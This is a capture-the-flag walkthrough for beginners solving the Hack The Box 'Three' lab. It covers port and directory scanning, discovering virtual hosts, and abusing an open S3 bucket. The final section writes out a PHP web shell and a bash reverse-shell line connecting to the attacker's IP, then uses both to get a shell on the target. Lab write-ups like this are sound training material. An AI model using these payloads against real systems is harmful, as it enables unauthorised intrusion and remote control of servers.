The aim of this walkthrough is to provide help with the Three machine on the Hack The Box website. Please note that no flags are directly provided here. Moreover, be aware that this is only one of the many ways to solve the challenges.
It belongs to a series of tutorials that aim to help out complete beginners with finishing the Starting Point TIER 1 challenges.
SETUP
There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.
Once our connection is taken care of, we spawn the target machine.
Additionally - even though not required - it is possible to set a local variable (only available in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to our variable name.
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $rhost=<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $ echo $rhost
<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $
We could use the unset command to remove it after we no longer need it.
┌─[✗]─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $unset rhost
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $
TASK 1
Question: How many TCP ports are open?
We start our recon with a quick connection check by pinging the target four times.
┌─[htb-bluewalle@htb-vwn6wdartu]─[~/three]
└──╼ $ping $rhost -c 4
PING 10.129.165.251 (10.129.165.251) 56(84) bytes of data.
64 bytes from 10.129.165.251: icmp_seq=1 ttl=63 time=10.8 ms
64 bytes from 10.129.165.251: icmp_seq=2 ttl=63 time=10.7 ms
64 bytes from 10.129.165.251: icmp_seq=3 ttl=63 time=10.8 ms
64 bytes from 10.129.165.251: icmp_seq=4 ttl=63 time=11.0 ms
--- 10.129.165.251 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 10.704/10.801/10.965/0.098 ms
┌─[htb-bluewalle@htb-vwn6wdartu]─[~/three]
└──╼ $
Once we made sure that we have a stable connection we continue our recon phase with an all-ports tcp scan.
┌─[htb-bluewalle@htb-vwn6wdartu]─[~/three]
└──╼ $nmap -p- --min-rate=5000 $rhost
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 11:20 BST
Nmap scan report for 10.129.165.251
Host is up (2.7s latency).
Not shown: 63938 filtered tcp ports (no-response), 1595 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 353.83 seconds
┌─[htb-bluewalle@htb-vwn6wdartu]─[~/three]
└──╼ $
It looks like we have a webpage to check out.
Maybe it belongs to a band. Nothing that jumps out right away so we continue with dir busting.
┌─[htb-bluewalle@htb-vwn6wdartu]─[~/three]
└──╼ $gobuster dir -u http://$rhost/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.165.251/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/05/08 11:45:05 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/images (Status: 301) [Size: 317] [--> http://10.129.165.251/images/]
/index.php (Status: 200) [Size: 11952]
/server-status (Status: 403) [Size: 279]
===============================================================
2023/05/08 11:45:10 Finished
===============================================================
┌─[htb-bluewalle@htb-vwn6wdartu]─[~/three]
└──╼ $
Hm…looks like nothing interesting here either.
2
TASK 2
Question: What is the domain of the email address provided in the "Contact" section of the website?
Once we look around a bit on the website, the answer becomes quite clear.
Interestingly enough, using whatweb in a proper recon phase would also get us the answer.
┌─[htb-bluewalle@htb-vwn6wdartu]─[~/three]
└──╼ $whatweb $rhost
http://10.129.165.251 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], Email[mail@thetoppers.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.165.251], Script, Title[The Toppers]
┌─[htb-bluewalle@htb-vwn6wdartu]─[~/three]
└──╼ $
thetoppers.htb
TASK 3
Question: In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?
On the pwnbox (parrot os, debian based, linux) it can be found at /etc/hosts. Let us check it out.
┌─[htb-bluewalle@htb-vwn6wdartu]─[~/three]
└──╼ $cat /etc/hosts
# Your system has configured 'manage_etc_hosts' as True.
# As a result, if you wish for changes to this file to persist
# then you will need to either
# a.) make changes to the master file in /etc/cloud/templates/hosts.debian.tmpl
# b.) change or remove the value of 'manage_etc_hosts' in
# /etc/cloud/cloud.cfg or cloud-config from user-data
#
127.0.1.1 htb-vwn6wdartu.htb-cloud.com htb-vwn6wdartu
127.0.0.1 localhost
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
┌─[htb-bluewalle@htb-vwn6wdartu]─[~/three]
└──╼ $
Before we continue, we add the newly found host to ip mapping to our host file.
┌─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $echo -e "# htb-starting-point-tier-1-three host ip mapping \n$rhost thetoppers.htb" | sudo tee -a /etc/hosts
# htb-starting-point-tier-1-three host ip mapping
10.129.165.251 thetoppers.htb
┌─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $
/etc/hosts
TASK 4
Question: Which sub-domain is discovered during further enumeration?
Using gobuster's vhost mode can help us enumerating virtual hosts on our target.
┌─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $gobuster vhost --help
Uses VHOST enumeration mode
Usage:
gobuster vhost [flags]
Flags:
-c, --cookies string Cookies to use for the requests
-r, --follow-redirect Follow redirects
-H, --headers stringArray Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2'
-h, --help help for vhost
-m, --method string Use the following HTTP method (default "GET")
-k, --no-tls-validation Skip TLS certificate verification
-P, --password string Password for Basic Auth
--proxy string Proxy to use for requests [http(s)://host:port]
--random-agent Use a random User-Agent string
--timeout duration HTTP Timeout (default 10s)
-u, --url string The target URL
-a, --useragent string Set the User-Agent string (default "gobuster/3.1.0")
-U, --username string Username for Basic Auth
Global Flags:
--delay duration Time each thread waits between requests (e.g. 1500ms)
--no-error Don't display errors
-z, --no-progress Don't display progress
-o, --output string Output file to write results to (defaults to stdout)
-p, --pattern string File containing replacement patterns
-q, --quiet Don't print the banner and other noise
-t, --threads int Number of concurrent threads (default 10)
-v, --verbose Verbose output (errors)
-w, --wordlist string Path to the wordlist
┌─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $
Once we get familiar enough with it’s usage, we run it with one of the wordlists that comes with seclists when installed.
┌─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $gobuster vhost -u http://thetoppers.htb/ -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://thetoppers.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/05/08 14:54:27 Starting gobuster in VHOST enumeration mode
===============================================================
Found: s3.thetoppers.htb (Status: 404) [Size: 21]
Found: gc._msdcs.thetoppers.htb (Status: 400) [Size: 306]
===============================================================
2023/05/08 14:54:33 Finished
===============================================================
┌─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $
Great, we found not one, but two possible subdomains. Here we use curl to check them out.
┌─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $curl s3.thetoppers.htb
curl: (6) Could not resolve host: s3.thetoppers.htb
┌─[✗]─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $
It looks like we have the same issue as before and we need to manually add the host to ip resolution to our system, but this time for the subdomain.
┌─[✗]─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $echo -e "# htb-starting-point-tier-1-three subdomain host ip mapping\n$rhost s3.thetoppers.htb" | sudo tee -a /etc/hosts
# htb-starting-point-tier-1-three subdomain host ip mapping
10.129.165.251 s3.thetoppers.htb
┌─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $
Now that the host name resolution is fixed, running the same command does give us an answer back.
┌─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $curl s3.thetoppers.htb
{"status": "running"}┌─[htb-bluewalle@htb-lhposwyydw]─[~/three]
└──╼ $
s3.thetoppers.htb
TASK 5
Question: Which service is running on the discovered sub-domain?
Looking up - s3 subdomain {"status": "running"} service - online gives us a better picture.
amazon s3
TASK 6
Question: Which command line utility can be used to interact with the service running on the discovered sub-domain?
A quick online search lands us aws, but there is no available man page installed for it, so as usual, we default to the help option.
AWS() AWS()
NAME
aws -
DESCRIPTION
The AWS Command Line Interface is a unified tool to manage your AWS
services.
SYNOPSIS
aws [options] <command> <subcommand> [parameters]
Use aws command help for information on a specific command. Use aws
help topics to view a list of available help topics. The synopsis for
each command shows its parameters and their usage. Optional parameters
are shown in square brackets.
OPTIONS
...
awscli
TASK 7
Question: Which command is used to set up the AWS CLI installation?
Using - aws configure help - gives us a better idea what the selected option is really supposed to do.
CONFIGURE() CONFIGURE()
NAME
configure -
DESCRIPTION
Configure AWS CLI options. If this command is run with no arguments,
you will be prompted for configuration values such as your AWS Access
Key Id and your AWS Secret Access Key. You can configure a named pro-
file using the --profile argument. If your config file does not exist
(the default location is ~/.aws/config), the AWS CLI will create it for
you. To keep an existing value, hit enter when prompted for the value.
When you are prompted for information, the current value will be dis-
played in [brackets]. If the config item has no value, it be displayed
as [None]. Note that the configure command only works with values from
the config file. It does not use any configuration values from envi-
ronment variables or the IAM role.
Note: the values you provide for the AWS Access Key ID and the AWS Se-
cret Access Key will be written to the shared credentials file
(~/.aws/credentials).
CONFIGURATION VARIABLES
...
aws configure
TASK 8
Question: What is the command used by the above utility to list all of the S3 buckets?
Similarly to the previous task, we use the built-in help option but this time on the s3 command like - aws s3 help -.
...
AVAILABLE COMMANDS
o cp
o ls
o mb
o mv
o presign
o rb
o rm
o sync
o website
...
And then on the s3 ls command, like - aws s3 ls help -.
LS() LS()
NAME
ls -
DESCRIPTION
List S3 objects and common prefixes under a prefix or all S3 buckets.
Note that the --output and --no-paginate arguments are ignored for this
command.
See 'aws help' for descriptions of global parameters.
SYNOPSIS
ls
<S3Uri> or NONE
[--recursive]
[--page-size <value>]
[--human-readable]
[--summarize]
[--request-payer <value>]
OPTIONS
...
Trying to list out the S3 objects available under the - s3.thetoppers.htb - domain gives us an error message.
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $aws --endpoint-url http://s3.thetoppers.htb/ s3 ls
Unable to locate credentials. You can configure credentials by running "aws configure".
┌─[✗]─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $
Configuring it with some random data hopefully fixes it.
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $aws configure
AWS Access Key ID [None]: test
AWS Secret Access Key [None]: test
Default region name [None]: test
Default output format [None]: test
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $
So, how about now? We try again and this time it actually runs. There is one bucket available in the subdomain.
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $aws --endpoint-url http://s3.thetoppers.htb/ s3 ls
2023-05-08 21:27:42 thetoppers.htb
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $
To continue, there is a very helpful example in the help option output of (aws s3 ls help).
Example 2: Listing all prefixes and objects in a bucket
The following ls command lists objects and common prefixes under a
specified bucket and prefix. In this example, the user owns the bucket
mybucket with the objects test.txt and somePrefix/test.txt. The Last-
WriteTime and Length are arbitrary. Note that since the ls command has
no interaction with the local filesystem, the s3:// URI scheme is not
required to resolve ambiguity and may be omitted:
aws s3 ls s3://mybucket
Output:
PRE somePrefix/
2013-07-25 17:06:27 88 test.txt
Trying the mentioned approach and listing the objects in the available bucket works out quite well.
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $aws --endpoint-url http://s3.thetoppers.htb/ s3 ls s3://thetoppers.htb
PRE images/
2023-05-08 21:27:42 0 .htaccess
2023-05-08 21:27:42 11952 index.php
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $
We also notice that the bucket's root directory matches the website’s root directory.
aws s3 ls
TASK 9
Question: This server is configured to run files written in what web scripting language?
Interestingly enough, using the Wappalyzer Firefox extension on the landing page - http://thetoppers.htb - did not recognize the programming language.
But once we modify our landing page to - http://thetoppers.htb/index.php - which we gathered in TASK1 during dir busting, the web scripting language is recognized as php.
php
SUBMIT FLAG
Question: Submit root flag
It is time to gather all the little bits of information we collected throughout the previous tasks. So here is what we know:
- s3 bucket/’s root dir matches the website’s root dir
- web server can run php files
So we try and upload something that can be run by our target system.
This simple php script does nothing else but runs (on the target system) whatever command was given to the cmd url parameter.
<?php system($_GET["cmd"]); ?>
We save it into a file so that we can later upload it to our bucket. It is important to save it as a .php script file, otherwise it won’t run.
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $echo '<?php system($_GET["cmd"]); ?>' > test.php
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $cat test.php
<?php system($_GET["cmd"]); ?>
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $
The next thing to do is to try and upload it. Again, there are some nice examples when running aws s3 cp help.
...
EXAMPLES
Copying a local file to S3
The following cp command copies a single file to a specified bucket and
key:
aws s3 cp test.txt s3://mybucket/test2.txt
Output:
upload: test.txt to s3://mybucket/test2.txt
...
Following the examples we upload our php script (.php).
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $aws --endpoint-url http://s3.thetoppers.htb/ s3 cp test.php s3://thetoppers.htb/test.php
upload: ./test.php to s3://thetoppers.htb/test.php
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $
It looks like the upload was successful so it’s time to check it out if it truly works.
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $curl http://thetoppers.htb/test.php?cmd=whoami
www-data
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $
Since it appears to be working, our next course of action should be to upload a reverse shell. One could look like this:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.46/4321 0>&1
So we write it in to a file and save it as a bash script (.sh).
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $cat revshell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.46/4321 0>&1
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $ss
Then we upload it.
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $aws --endpoint-url http://s3.thetoppers.htb/ s3 cp revshell.sh s3://thetoppers.htb/revshell.sh
upload: ./revshell.sh to s3://thetoppers.htb/revshell.sh
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $
Starting a netcat listener in a new terminal will help us catch it when our reverse shell will try connecting back to us.
┌─[htb-bluewalle@htb-x4mpqi4zuk]─[~/Desktop]
└──╼ $nc -lnvp 4321
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4321
Ncat: Listening on 0.0.0.0:4321
...
All we have to do now is to somehow run our reverse shell. We can do this by running the bash reverseshell.sh command on the target. But when we try it, we get an error back.
┌─[✗]─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $curl "http://thetoppers.htb/test.php?cmd=bash revshell.sh"
curl: (3) URL using bad/illegal format or missing URL
┌─[✗]─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
The reason for this is that the url we just used is not properly formatted. Swapping the space character to it’s url encoded format - %20 - should do the trick.
Now if we try and run the same command again, our terminal will get stuck… And we get no output back.
┌─[✗]─[htb-bluewalle@htb-x4mpqi4zuk]─[~/three]
└──╼ $curl "http://thetoppers.htb/test.php?cmd=bash%20revshell.sh"
But if we go over to our other terminal where the netcat listener was started, we will notice, that our command if fact did work, and we now have a reverse shell to our target.
Ncat: Connection from 10.129.165.251.
Ncat: Connection from 10.129.165.251:58772.
bash: cannot set terminal process group (1527): Inappropriate ioctl for device
bash: no job control in this shell
www-data@three:/var/www/html$ whoami
whoami
www-data
www-data@three:/var/www/html$
Since the flag file does not appear in our current directory, we look around a bit. In the end, it is located at - /var/www/flag.txt -. We grab it to finish the task.
www-data@three:/var/www/html$ cd ..
cd ..
www-data@three:/var/www$ ls
ls
flag.txt
html
www-data@three:/var/www$ cat flag.txt
cat flag.txt
<flag>
www-data@three:/var/www$
flag
Congratulations, we just successfully pwned the target machine. All we have left to do now is to terminate the target box (if not terminated automatically) before we continue with the next box!